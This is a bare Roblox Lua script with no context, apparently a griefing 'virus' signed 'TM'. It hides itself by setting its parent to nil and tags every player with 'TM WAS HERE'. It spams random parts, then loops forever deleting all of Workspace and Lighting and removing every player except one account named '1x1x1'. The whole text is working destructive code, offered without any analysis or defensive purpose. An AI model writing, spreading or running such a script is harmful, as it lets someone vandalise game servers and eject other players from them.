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- script.Parent = nil --Do not touch!!
- Play = game.Players:GetPlayers()
- for i=1,#Play do
- if Play[i]:FindFirstChild("leaderstats") then
- Play[i].leaderstats:remove()
- end
- local stats = Instance.new("IntValue",Play[i])
- stats.Name = "leaderstats"
- local hack = Instance.new("StringValue",stats)
- hack.Name = "TM"
- hack.Value = "TM WAS HERE"
- local You = Play[i].Name
- local head = workspace[You].Head:Clone()
- workspace[You].Head.Transparency = 1
- local model = Instance.new("Model",workspace)
- local humanoid = Instance.new("Humanoid",model)
- head.Parent = model model.Name = "Infected"
- humanoid.MaxHealth = 0
- local w = Instance.new("Weld",model)
- w.Part0,w.Part1 = workspace[You].Head,head
- end
- for i=1,30 do
- i = i + 10
- wait(0.1)
- local p = Instance.new("Part")
- p.Parent = game.Workspace
- p.Position = Vector3.new ((math.random(-100, 100)),130,(math.random(0,100)))
- p.Size = Vector3.new( math.random(50,100), math.random(50,100), math.random(50,100))
- p.BrickColor = BrickColor.new(math.random(1,100))
- p.Transparency= .2
- p.Reflectance= .1
- p.Shape = math.random(0,2)
- p.Locked = true
- p.Anchored = false
- p.CanCollide = true
- end
- while true do
- abm = Instance.new("Message",workspace)
- abm.Text = "TM is back"
- wait(5)
- pcall(function() abm:Destroy() end)
- for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
- pcall(function() v:Destroy() end)
- end
- pcall(function() game:GetService("Lighting"):ClearAllChildren() end)
- pls = game:GetService("Players"):GetChildren()
- if #pls > 0 then
- for X=1, #pls do
- if pls[X].Name ~= "1x1x1" then
- pcall(function() pls[X]:Destroy() end)
- end
- end
- end
- end
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